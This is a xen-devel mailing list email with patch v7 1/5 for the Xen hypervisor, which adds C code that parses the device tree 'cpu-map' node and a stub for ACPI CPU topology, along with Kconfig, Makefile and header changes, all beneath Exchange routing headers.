 b=bfrN5nopiKxa6PriyvdaZN0CZnbIm4Aqb4VnDVWQ2b3/qyt3AMuOkVQmXBaIOrdqNAt2LMp3NIS0ZPcNnNr0k7PueoFDQCHVUqgz1ZtG8cxJETl4xoGSVNludR9NyK3fA27X2Z8PWH2qhiykX7OYu0D6tM8afL+rk8cCpKZVknaba9fnp8WKBbTr/YOLYip5S2I2Nkyu1WMw7OTtnQz0lI6SiaE4G1Ctlp4CT1Hc+w24jqqg7z/rKP3XoBmLopk+fuCDP4bSZmIHIvlcyQ1heZe4qxW4JaTFYIHwnPDjqWpjo5NmzKxp0ZAC/Nv/xwJKFzZauwPsHB3gIUdJ4/8OZQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=c7KiknWv6CQz3nBiJcRuHkUHq5J1xbdGZY3kwOVyjYc=;
 b=M3FXMDumnY2fqmYkS2e3dXVBp5eC7kU8yo3+Bpq5UNCTGFI6SOQ80RL/Og9P1RzG4vcC9S/+bGvzjCt4ndJj6QM1Km2bPOpw3CQ2JmWydR0CX3JtovI7e5v3JgKdTYa6Z0VvWSVzzzi0CL+cTP5nLpRwutJnMJgbGmk9RrjjZwk=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>
Subject: [PATCH v7 1/5] xen/device-tree: Parse 'cpu-map' node for CPU topology exploration
Date: Tue, 21 Jul 2026 01:28:15 +0900
Message-ID: <20260720162819.308326-2-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260720162819.308326-1-taka@valinux.co.jp>
References: <20260720162819.308326-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TY6P301CA0030.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:405:3ba::17) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|OS9P286MB6790:EE_
X-MS-Office365-Filtering-Correlation-Id: 0b33c870-dc8a-48a6-2896-08dee67c2547
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|23010399003|1800799024|10070799003|7416014|376014|6133799003|10067099003|56012099006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	9AZ8tXiRmPa1b2R4f+AlbgvcbiS6/TLlD+VReuOAWZfd9/Px2tq1UMq9L+pGJAh1T4tozlf3q4YSVgfKYC+Ui7qMTmmsXZNSQx6fXulEIIN/zb11QVAeFs5Rfqh4/wzauDN8IZ6Vs95dEBxhI/Kryt3xjQeNBI0UNxcnp4TQfW/XNoxG5rRuQKqjjMHlovUMRzNJUU+zDl8hoi8czEKMDaUS3HeJpjTZS36sB/BfCob2aJBln/Dxh6beToSYmRWkhIJL7Nok+e1duF4oYaSGlygV0ovV4j5c8ztpjKUvNn/OGvD2IPDAW55X+cTiHUlpr4rmf4Fs/vDDxRw1qhpnBFO7MANrYs/hgAzwgHD1xWpxrbc4vjiS6myXMLHG/SuQbydoHK0fVAHcE5dv0RpX3wP8G9QPRtesjZwCG1wFWyF9bkJHJ0v//JKgteDQWDBqs017K10aD73CvEsGfs52Fb1apJsy8me481ucsoLdvnVPpQuOftsqoOzXY/mJK6RjA5kd0Ez4gbI3kDcp3Liae+Lh9fB7kl8rlR4noaszDU6A8MunRjpUh1xwLNoyQfD70/NCGsYQYaZRK5IVRw1/wM8oBLaG0VxPZQzXMz/bw3KPVdsrHM9a/fXouy4LrCb8jrVhVnjL9Km4Y5cMYOq0ilO7+nd+ooHjzAfWVwWM3/0=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(1800799024)(10070799003)(7416014)(376014)(6133799003)(10067099003)(56012099006)(18002099003)(22082099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?h15T4Da2efCQIlI6s997WwF8ZTVClrXnS5F4pDpkATLtdEC4+2fBlSRFC2kS?=
 =?us-ascii?Q?76ofwMnr2tkKOZqcGTaqp4YjlMW7gvIyKZu4HJ0azvoVK4owqri+iGB0yb8L?=
 =?us-ascii?Q?TqA5fPjQ339kQZ9HlzA00BGDaP64gtXN6Lgw5M450MgyWUXDVQ/KiDvKgYUe?=
 =?us-ascii?Q?MHZ3WHEx5c4oeS8egsAnom8yJV5YS2GvxqErvt42Tmp4lbGYXdn0phogmoxh?=
 =?us-ascii?Q?OuOsa/KMO3DWteXCR2ymfLowpRKVfVAD9S+w4g9xD/w2Td9g8xes6biJU6Ei?=
 =?us-ascii?Q?uteju2boDdHI43+Gy5hvVf0ECqXssQimfHsz0MKsB+R9qIqL1xfuz4h467f9?=
 =?us-ascii?Q?Dd1yQ18kZcXqFYOaZ65oPHOYpMnYAdW/E2Rh/NuzO9QTHPOl+Sf0RibMqRWW?=
 =?us-ascii?Q?GZyf1cFTISI7oueyph7TR+XJbidBljZkZQQHl3wews66fnLyNtmePSPPP9WS?=
 =?us-ascii?Q?GJUB7QxTAzJIuKkAqeO+w4ltnOSOwCzKZQVrsrKjQw2MzyP9ggCCCoqvT68t?=
 =?us-ascii?Q?5mYoEvQENTqHYrWrS3GDaym8dbZX4XpWHVp1Q+pNEBYLFVKitmz+F0A2/0N0?=
 =?us-ascii?Q?a6LYl/5jHNLmMRyn++jAEDO5W/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5ox7HVQ?=
 =?us-ascii?Q?uheCeeEzBj3k/ijWy4aFdxh65WvYt1YvPMzOVulYw8KaV72r8BbMQMGgFnEu?=
 =?us-ascii?Q?9lBXEDA5gzqwWTOfBShtAXmnUXQq047AfV2exKDuCJGUYQkzRRKPLJ2WeDrb?=
 =?us-ascii?Q?cFe8ds+gxTK0ejHrof8wwjTUbm6+yOJw8vvnSbw2+YWZj5DOeZRNO+qkPsPf?=
 =?us-ascii?Q?vrq2kIU83+l1X6aTNuvkVw9TR3F/5G+65qGw9t1L9keaSt+bi92hScYO5kRd?=
 =?us-ascii?Q?f41reZ0OZZanlP3uV/9UooiFKje3WpY2+QZihP780OA/WL8nzLsRfBs2sw5o?=
X-MS-Exchange-AntiSpam-MessageData-1: h1h4a7WScOKwyw==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 0b33c870-dc8a-48a6-2896-08dee67c2547
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 20 Jul 2026 16:30:00.9801
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: J1ZI9mV6TPw4QtazQbWtfaw0CwHY/E3pNOiLLCsdvS/ilOZd08chY0b04Rzbqc0RkBWpoDPWjLQuOA5vf5Gmnw==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS9P286MB6790
X-purgate-ID: tlsNG-bad1c0/1784565005-3A0C5034-6CE9F79A/0/0
X-purgate-type: clean
X-purgate-size: 22035

Parse the 'cpu-map' node in the Device Tree to extract CPU topology
information. If the 'cpu-map' node is absent, fall back to
generating the topology data from the NUMA information. This
generation assumes exactly one socket per NUMA node and that SMT
is unsupported.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
---

Changes in v7
- Graceful Fallback & Allocation:
  * Treated missing topology definitions as benign conditions.
  * Used xvzalloc_array() for temporary memory allocations during
    initialization.
- Build & Kconfig Adjustments:
  * Updated Kconfig to use "depends on UNSUPPORTED" instead of "if UNSUPPORTED".
- Code Cleanups & Style Conformance:
  * Used designated initializers for structure data initializations.

 xen/arch/arm/Kconfig                  |   1 +
 xen/arch/arm/smpboot.c                |   7 +
 xen/common/Kconfig                    |  22 ++
 xen/common/Makefile                   |   1 +
 xen/common/cpu-topology.c             |  62 +++++
 xen/common/cpu.c                      |   4 +
 xen/common/device-tree/Makefile       |   1 +
 xen/common/device-tree/cpu-topology.c | 344 ++++++++++++++++++++++++++
 xen/drivers/acpi/Kconfig              |   3 +
 xen/drivers/acpi/Makefile             |   1 +
 xen/drivers/acpi/topology.c           |  41 +++
 xen/include/xen/acpi.h                |  13 +
 xen/include/xen/cpu-topology.h        |  34 +++
 xen/include/xen/dt-cpu-topology.h     |  35 +++
 14 files changed, 569 insertions(+)
 create mode 100644 xen/common/cpu-topology.c
 create mode 100644 xen/common/device-tree/cpu-topology.c
 create mode 100644 xen/drivers/acpi/topology.c
 create mode 100644 xen/include/xen/cpu-topology.h
 create mode 100644 xen/include/xen/dt-cpu-topology.h

diff --git a/xen/arch/arm/Kconfig b/xen/arch/arm/Kconfig
index 843a43897e..1e0fd4957e 100644
--- a/xen/arch/arm/Kconfig
+++ b/xen/arch/arm/Kconfig
@@ -19,6 +19,7 @@ config ARM
 	select HAS_ALTERNATIVE if HAS_VMAP
 	select HAS_DEVICE_TREE_DISCOVERY
 	select HAS_DOM0LESS
+	select HAS_GENERIC_CPU_TOPOLOGY
 	select HAS_GRANT_CACHE_FLUSH if GRANT_TABLE
 	select HAS_STACK_PROTECTOR
 	select HAS_STATIC_MEMORY
diff --git a/xen/arch/arm/smpboot.c b/xen/arch/arm/smpboot.c
index ba5fd2dd52..d957553a44 100644
--- a/xen/arch/arm/smpboot.c
+++ b/xen/arch/arm/smpboot.c
@@ -9,10 +9,12 @@
 
 #include <xen/acpi.h>
 #include <xen/cpu.h>
+#include <xen/cpu-topology.h>
 #include <xen/cpumask.h>
 #include <xen/delay.h>
 #include <xen/device_tree.h>
 #include <xen/domain_page.h>
+#include <xen/dt-cpu-topology.h>
 #include <xen/errno.h>
 #include <xen/init.h>
 #include <xen/mm.h>
@@ -244,6 +246,9 @@ static void __init dt_smp_init_cpus(void)
         }
         else
             tmp_map[i] = hwid;
+
+        /* Pass the info to dt_init_cpu_topology() */
+        map_cpu_to_dt_node(i, cpu);
     }
 
     if ( !bootcpu_valid )
@@ -280,6 +285,8 @@ void __init smp_init_cpus(void)
     else
         acpi_smp_init_cpus();
 
+    init_cpu_topology();
+
     if ( opt_hmp_unsafe )
         warning_add("WARNING: HMP COMPUTING HAS BEEN ENABLED.\n"
                     "It has implications on the security and stability of the system,\n"
diff --git a/xen/common/Kconfig b/xen/common/Kconfig
index da80fdba84..29879a9131 100644
--- a/xen/common/Kconfig
+++ b/xen/common/Kconfig
@@ -140,6 +140,9 @@ config HAS_EX_TABLE
 config HAS_FAST_MULTIPLY
 	bool
 
+config HAS_GENERIC_CPU_TOPOLOGY
+	bool
+
 config HAS_IOPORTS
 	bool
 
@@ -191,6 +194,25 @@ config VM_EVENT
 config NEEDS_LIBELF
 	bool
 
+config GENERIC_CPU_TOPOLOGY
+	bool
+
+config DT_CPU_TOPOLOGY
+	bool "Device tree based CPU topology support (UNSUPPORTED)"
+	depends on HAS_GENERIC_CPU_TOPOLOGY && DEVICE_TREE_PARSE && UNSUPPORTED
+	select GENERIC_CPU_TOPOLOGY
+	help
+	  Retrieve CPU topology information from the device tree to optimize
+	  vCPU scheduling.
+
+config ACPI_CPU_TOPOLOGY
+	bool "ACPI based CPU topology support (UNSUPPORTED)"
+	depends on HAS_GENERIC_CPU_TOPOLOGY && ACPI && UNSUPPORTED
+	select GENERIC_CPU_TOPOLOGY
+	help
+	  Retrieve CPU topology information from the ACPI PPTT to optimize
+	  vCPU scheduling.
+
 config NUMA
 	bool
 
diff --git a/xen/common/Makefile b/xen/common/Makefile
index 6018e25614..901bb37925 100644
--- a/xen/common/Makefile
+++ b/xen/common/Makefile
@@ -5,6 +5,7 @@ obj-$(CONFIG_GENERIC_BUG_FRAME) += bug.o
 obj-$(CONFIG_HYPFS_CONFIG) += config_data.o
 obj-$(CONFIG_CORE_PARKING) += core_parking.o
 obj-y += cpu.o
+obj-$(CONFIG_GENERIC_CPU_TOPOLOGY) += cpu-topology.init.o
 obj-$(CONFIG_DEBUG_TRACE) += debugtrace.o
 obj-$(CONFIG_HAS_DEVICE_TREE_DISCOVERY) += device.o
 obj-$(filter-out $(CONFIG_X86),$(CONFIG_ACPI)) += device.o
diff --git a/xen/common/cpu-topology.c b/xen/common/cpu-topology.c
new file mode 100644
index 0000000000..3044b50b05
--- /dev/null
+++ b/xen/common/cpu-topology.c
@@ -0,0 +1,62 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+
+#include <xen/acpi.h>
+#include <xen/cpu-topology.h>
+#include <xen/cpumask.h>
+#include <xen/dt-cpu-topology.h>
+#include <xen/init.h>
+#include <xen/xvmalloc.h>
+
+static void __init free_topology_table(void)
+{
+    unsigned int cpu;
+
+    for ( cpu = 0; cpu < nr_cpu_ids; cpu++ )
+    {
+        free_cpumask_var(cpu_topology[cpu].thread_sibling);
+        free_cpumask_var(cpu_topology[cpu].core_sibling);
+        free_cpumask_var(cpu_topology[cpu].cluster_sibling);
+    }
+
+    XVFREE(cpu_topology);
+}
+
+void __init init_cpu_topology(void)
+{
+    unsigned int cpu;
+    int ret;
+
+    cpu_topology = xvzalloc_array(struct cpu_topology, nr_cpu_ids);
+    if ( !cpu_topology )
+        return;
+
+    for ( cpu = 0; cpu < nr_cpu_ids; cpu++ )
+    {
+        if ( !zalloc_cpumask_var(&cpu_topology[cpu].thread_sibling)
+             || !zalloc_cpumask_var(&cpu_topology[cpu].core_sibling)
+             || !zalloc_cpumask_var(&cpu_topology[cpu].cluster_sibling) )
+        {
+            free_topology_table();
+            return;
+        }
+    }
+
+    if ( acpi_disabled )
+        ret = dt_init_cpu_topology();
+    else
+        ret = acpi_init_cpu_topology();
+
+    /* Free the CPU topology table if initialization fails. */
+    if ( ret != 0 )
+        free_topology_table();
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/common/cpu.c b/xen/common/cpu.c
index f09af0444b..a8ebcb5146 100644
--- a/xen/common/cpu.c
+++ b/xen/common/cpu.c
@@ -46,6 +46,10 @@ const unsigned long cpu_bit_bitmap[BITS_PER_LONG+1][BITS_TO_LONGS(NR_CPUS)] = {
 #undef MASK_DECLARE_2
 #undef MASK_DECLARE_1
 
+#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
+struct cpu_topology *__ro_after_init cpu_topology;
+#endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
+
 static DEFINE_RWLOCK(cpu_add_remove_lock);
 
 bool get_cpu_maps(void)
diff --git a/xen/common/device-tree/Makefile b/xen/common/device-tree/Makefile
index 9036e455d6..6ee670b5f4 100644
--- a/xen/common/device-tree/Makefile
+++ b/xen/common/device-tree/Makefile
@@ -1,6 +1,7 @@
 obj-y += bootfdt.init.o
 obj-$(CONFIG_HAS_DEVICE_TREE_DISCOVERY) += bootinfo-fdt.init.o
 obj-$(CONFIG_HAS_DEVICE_TREE_DISCOVERY) += bootinfo.init.o
+obj-$(CONFIG_DT_CPU_TOPOLOGY) += cpu-topology.init.o
 obj-y += device-tree.o
 obj-$(CONFIG_DOMAIN_BUILD_HELPERS) += domain-build.init.o
 obj-$(filter $(CONFIG_DOM0LESS_BOOT),$(CONFIG_HAS_DEVICE_TREE_DISCOVERY)) += dom0less-build.init.o
diff --git a/xen/common/device-tree/cpu-topology.c b/xen/common/device-tree/cpu-topology.c
new file mode 100644
index 0000000000..9259be73bc
--- /dev/null
+++ b/xen/common/device-tree/cpu-topology.c
@@ -0,0 +1,344 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+/*
+ * Derived from Linux kernel 7.0's $drivers/base/arch_topology.c
+ * Parse cpu topology information.
+ */
+
+#include <xen/acpi.h>
+#include <xen/cpu-topology.h>
+#include <xen/cpumask.h>
+#include <xen/device_tree.h>
+#include <xen/errno.h>
+#include <xen/init.h>
+
+#define INVALID_TOPO_ID (~0U)
+
+struct cpu_map {
+    unsigned int thread_id;
+    unsigned int core_id;
+    unsigned int cluster_id;
+    unsigned int package_id;
+};
+
+static struct cpu_map __initdata cpu_map[NR_CPUS] = {
+    [0 ... NR_CPUS - 1] = {
+        .thread_id = INVALID_TOPO_ID,
+        .core_id = INVALID_TOPO_ID,
+        .cluster_id = INVALID_TOPO_ID,
+        .package_id = INVALID_TOPO_ID,
+    },
+};
+static struct dt_device_node *__initdata dt_cpu_table[NR_CPUS];
+
+static void __init setup_siblings_masks(unsigned int target_cpu)
+{
+    const struct cpu_topology *target_topo = &cpu_topology[target_cpu];
+    const struct cpu_map *target_map = &cpu_map[target_cpu];
+    unsigned int cpu;
+
+    /* Update cluster, core and thread sibling masks */
+    for_each_possible_cpu(cpu)
+    {
+        const struct cpu_topology *cpu_topo = &cpu_topology[cpu];
+        const struct cpu_map *map = &cpu_map[cpu];
+
+        if ( target_cpu > cpu )
+            continue;
+
+        if ( target_map->package_id != map->package_id )
+            continue;
+
+        cpumask_set_cpu(target_cpu, cpu_topo->core_sibling);
+        cpumask_set_cpu(cpu, target_topo->core_sibling);
+
+        if ( target_map->cluster_id != map->cluster_id )
+            continue;
+
+        if ( target_map->cluster_id != INVALID_TOPO_ID )
+        {
+            cpumask_set_cpu(target_cpu, cpu_topo->cluster_sibling);
+            cpumask_set_cpu(cpu, target_topo->cluster_sibling);
+        }
+
+        if ( target_map->core_id != map->core_id )
+            continue;
+
+        cpumask_set_cpu(target_cpu, cpu_topo->thread_sibling);
+        cpumask_set_cpu(cpu, target_topo->thread_sibling);
+    }
+}
+
+static const struct dt_device_node *__init dt_find_child_node_by_name(
+    const struct dt_device_node *dt,
+    const char *name)
+{
+    const struct dt_device_node *np;
+
+    dt_for_each_child_node(dt, np)
+        if ( np->name && (dt_node_cmp(np->name, name) == 0) )
+            return np;
+
+    return NULL;
+}
+
+void __init map_cpu_to_dt_node(unsigned int cpu,
+                               struct dt_device_node *cpu_node)
+{
+    if ( cpu < ARRAY_SIZE(dt_cpu_table) )
+        dt_cpu_table[cpu] = cpu_node;
+    else
+        printk(XENLOG_WARNING
+               "cpu %u exceeds the max cpus %zu\n",
+               cpu, ARRAY_SIZE(dt_cpu_table));
+}
+
+static unsigned int __init cpu_node_to_id(
+    const struct dt_device_node *cpu_node)
+{
+    unsigned int cpu;
+
+    for_each_possible_cpu(cpu)
+        if ( cpu_node == dt_cpu_table[cpu] )
+            return cpu;
+
+    return INVALID_TOPO_ID;
+}
+
+/*
+ * This function returns the Xen cpu number of the DT node.
+ */
+static unsigned int __init get_cpu_for_node(
+    const struct dt_device_node *dt_node)
+{
+    const struct dt_device_node *cpu_node =
+        dt_parse_phandle(dt_node, "cpu", 0);
+
+    if ( !cpu_node )
+        return INVALID_TOPO_ID;
+
+    return cpu_node_to_id(cpu_node);
+}
+
+static int __init parse_core(const struct dt_device_node *core,
+                             unsigned int package_id,
+                             unsigned int cluster_id,
+                             unsigned int core_id)
+{
+    bool leaf = true;
+    unsigned int thread_id;
+    unsigned int cpu;
+
+    for ( thread_id = 0; ; thread_id++ )
+    {
+        const struct dt_device_node *thread;
+        char name[20];
+
+        snprintf(name, sizeof(name), "thread%u", thread_id);
+        thread = dt_find_child_node_by_name(core, name);
+
+        if ( !thread )
+            break;
+
+        leaf = false;
+        cpu = get_cpu_for_node(thread);
+
+        if ( cpu == INVALID_TOPO_ID )
+        {
+            printk(XENLOG_ERR
+                   "ERROR: %s: Can't get CPU for thread\n", dt_node_name(thread));
+            return -EINVAL;
+        }
+
+        ASSERT(cpu_map[cpu].package_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].cluster_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].core_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].thread_id == INVALID_TOPO_ID);
+
+        cpu_map[cpu].package_id = package_id;
+        cpu_map[cpu].cluster_id = cluster_id;
+        cpu_map[cpu].core_id = core_id;
+        cpu_map[cpu].thread_id = thread_id;
+    }
+
+    cpu = get_cpu_for_node(core);
+
+    if ( cpu != INVALID_TOPO_ID )
+    {
+        if ( !leaf )
+        {
+            printk(XENLOG_ERR "ERROR: %s: Core has both threads and CPU\n",
+                   dt_node_name(core));
+            return -EINVAL;
+        }
+
+        ASSERT(cpu_map[cpu].package_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].cluster_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].core_id == INVALID_TOPO_ID);
+        ASSERT(cpu_map[cpu].thread_id == INVALID_TOPO_ID);
+
+        cpu_map[cpu].package_id = package_id;
+        cpu_map[cpu].cluster_id = cluster_id;
+        cpu_map[cpu].core_id = core_id;
+        cpu_map[cpu].thread_id = 0;
+    }
+    else if ( leaf )
+    {
+        printk(XENLOG_ERR
+               "ERROR: %s: Can't get CPU for leaf core\n", dt_node_name(core));
+        return -EINVAL;
+    }
+
+    return 0;
+}
+
+static int __init parse_cluster(const struct dt_device_node *cluster,
+                                unsigned int package_id,
+                                unsigned int cluster_id,
+                                unsigned int depth)
+{
+    bool leaf = true;
+    bool has_cores = false;
+    unsigned int core_id;
+    unsigned int child_cluster_id;
+
+    /*
+     * First check for child clusters; we currently ignore any
+     * information about the nesting of clusters and present the
+     * scheduler with a flat list of them.
+     */
+    for ( child_cluster_id = 0; ; child_cluster_id++ )
+    {
+        const struct dt_device_node *child_cluster;
+        char name[20];
+        int ret;
+
+        snprintf(name, sizeof(name), "cluster%u", child_cluster_id);
+        child_cluster = dt_find_child_node_by_name(cluster, name);
+
+        if ( !child_cluster )
+            break;
+
+        leaf = false;
+        ret = parse_cluster(child_cluster, package_id, child_cluster_id,
+                            depth + 1);
+        if ( depth > 0 )
+            printk(XENLOG_WARNING
+                   "WARNING: Topology for clusters of clusters not yet supported\n");
+        if ( ret != 0 )
+            return ret;
+    }
+
+    /* Now check for cores */
+    for ( core_id = 0; ; core_id++ )
+    {
+        const struct dt_device_node *core;
+        char name[20];
+        int ret;
+
+        snprintf(name, sizeof(name), "core%u", core_id);
+        core = dt_find_child_node_by_name(cluster, name);
+
+        if ( !core )
+            break;
+
+        has_cores = true;
+
+        if ( depth == 0 )
+        {
+            printk(XENLOG_ERR
+                   "ERROR: %s: cpu-map children should be clusters\n",
+                   dt_node_name(core));
+            return -EINVAL;
+        }
+
+        if ( leaf )
+        {
+            ret = parse_core(core, package_id, cluster_id, core_id);
+            if ( ret != 0 )
+                return ret;
+        }
+        else
+        {
+            printk(XENLOG_ERR "ERROR: %s: Non-leaf cluster with core %s\n",
+                   dt_node_name(cluster), name);
+            return -EINVAL;
+        }
+    }
+
+    if ( leaf && !has_cores )
+        printk(XENLOG_WARNING "WARNING: %s: empty cluster\n",
+               dt_node_name(cluster));
+
+    return 0;
+}
+
+static int __init parse_socket(const struct dt_device_node *socket)
+{
+    bool has_socket = false;
+    unsigned int package_id;
+    int ret;
+
+    for ( package_id = 0; ; package_id++ )
+    {
+        const struct dt_device_node *cluster;
+        char name[20];
+
+        snprintf(name, sizeof(name), "socket%u", package_id);
+        cluster = dt_find_child_node_by_name(socket, name);
+
+        if ( !cluster )
+            break;
+
+        has_socket = true;
+        ret = parse_cluster(cluster, package_id, INVALID_TOPO_ID, 0);
+        if ( ret != 0 )
+            return ret;
+    }
+
+    if ( !has_socket )
+        ret = parse_cluster(socket, 0, INVALID_TOPO_ID, 0);
+
+    return ret;
+}
+
+static int __init parse_dt_topology(void)
+{
+    const struct dt_device_node *cpus;
+    const struct dt_device_node *map;
+
+    cpus = dt_find_node_by_path("/cpus");
+    if ( !cpus )
+        return -ENOENT;
+
+    map = dt_find_child_node_by_name(cpus, "cpu-map");
+    if ( !map )
+        return -ENOENT;
+
+    return parse_socket(map);
+}
+
+int __init dt_init_cpu_topology(void)
+{
+    unsigned int cpu;
+    int ret;
+
+    BUG_ON(!acpi_disabled);
+    BUG_ON(!cpu_topology);
+
+    ret = parse_dt_topology();
+    if ( ret == 0 )
+        for_each_possible_cpu(cpu)
+            setup_siblings_masks(cpu);
+
+    return ret;
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/drivers/acpi/Kconfig b/xen/drivers/acpi/Kconfig
index e3f3d8f4b1..ef0b9a4502 100644
--- a/xen/drivers/acpi/Kconfig
+++ b/xen/drivers/acpi/Kconfig
@@ -2,6 +2,9 @@
 config ACPI
 	bool
 
+config ACPI_CPU_TOPOLOGY
+	bool
+
 config ACPI_LEGACY_TABLES_LOOKUP
 	bool
 
diff --git a/xen/drivers/acpi/Makefile b/xen/drivers/acpi/Makefile
index 477408afbe..6d676e91d4 100644
--- a/xen/drivers/acpi/Makefile
+++ b/xen/drivers/acpi/Makefile
@@ -7,6 +7,7 @@ obj-$(CONFIG_ACPI_NUMA) += numa.o
 obj-y += osl.o
 obj-$(CONFIG_PM_STATS) += pmstat.o
 obj-$(CONFIG_PM_OP) += pm-op.o
+obj-$(CONFIG_ACPI_CPU_TOPOLOGY) += topology.init.o
 
 obj-$(CONFIG_X86) += hwregs.o
 obj-$(CONFIG_X86) += reboot.o
diff --git a/xen/drivers/acpi/topology.c b/xen/drivers/acpi/topology.c
new file mode 100644
index 0000000000..45d1f2c5be
--- /dev/null
+++ b/xen/drivers/acpi/topology.c
@@ -0,0 +1,41 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+
+#include <xen/acpi.h>
+#include <xen/cpu-topology.h>
+#include <xen/cpumask.h>
+#include <xen/init.h>
+
+/*
+ * TODO: Populate the topology information by scanning the ACPI
+ *       PPTT (Processor Properties Topology Table).
+ */
+int __init acpi_init_cpu_topology(void)
+{
+    unsigned int cpu;
+
+    /*
+     * Generate temporary cpu topology information for now.
+     * It assumes that the cpu doesn't have SMT and all CPUs
+     * belong to the same socket.
+     */
+    for_each_possible_cpu(cpu)
+    {
+        struct cpu_topology *topo = &cpu_topology[cpu];
+
+        cpumask_set_cpu(cpu, topo->thread_sibling);
+        cpumask_copy(topo->core_sibling, &cpu_possible_map);
+        cpumask_copy(topo->cluster_sibling, &cpu_possible_map);
+    }
+
+    return 0;
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/include/xen/acpi.h b/xen/include/xen/acpi.h
index 2fdf38cf74..cbb02e0f35 100644
--- a/xen/include/xen/acpi.h
+++ b/xen/include/xen/acpi.h
@@ -135,6 +135,19 @@ static inline int acpi_boot_table_init(void)
 
 #endif 	/*!CONFIG_ACPI*/
 
+#ifdef CONFIG_ACPI_CPU_TOPOLOGY
+
+int acpi_init_cpu_topology(void);
+
+#else /* CONFIG_ACPI_CPU_TOPOLOGY */
+
+static inline int acpi_init_cpu_topology(void)
+{
+    return -EOPNOTSUPP;
+}
+
+#endif /* CONFIG_ACPI_CPU_TOPOLOGY */
+
 int get_cpu_id(u32 acpi_id);
 
 unsigned int acpi_register_gsi (u32 gsi, int edge_level, int active_high_low);
diff --git a/xen/include/xen/cpu-topology.h b/xen/include/xen/cpu-topology.h
new file mode 100644
index 0000000000..7cfe3752cd
--- /dev/null
+++ b/xen/include/xen/cpu-topology.h
@@ -0,0 +1,34 @@
+/* SPDX-License-Identifier: GPL-2.0-only */
+
+#ifndef XEN_CPU_TOPOLOGY_H
+#define XEN_CPU_TOPOLOGY_H
+
+#include <xen/cpumask.h>
+
+#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
+
+struct cpu_topology {
+    cpumask_var_t thread_sibling;
+    cpumask_var_t core_sibling;
+    cpumask_var_t cluster_sibling;
+};
+
+extern struct cpu_topology *cpu_topology;
+void init_cpu_topology(void);
+
+#else /* CONFIG_GENERIC_CPU_TOPOLOGY */
+
+static inline void init_cpu_topology(void) {}
+
+#endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
+
+#endif /* XEN_CPU_TOPOLOGY_H */
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
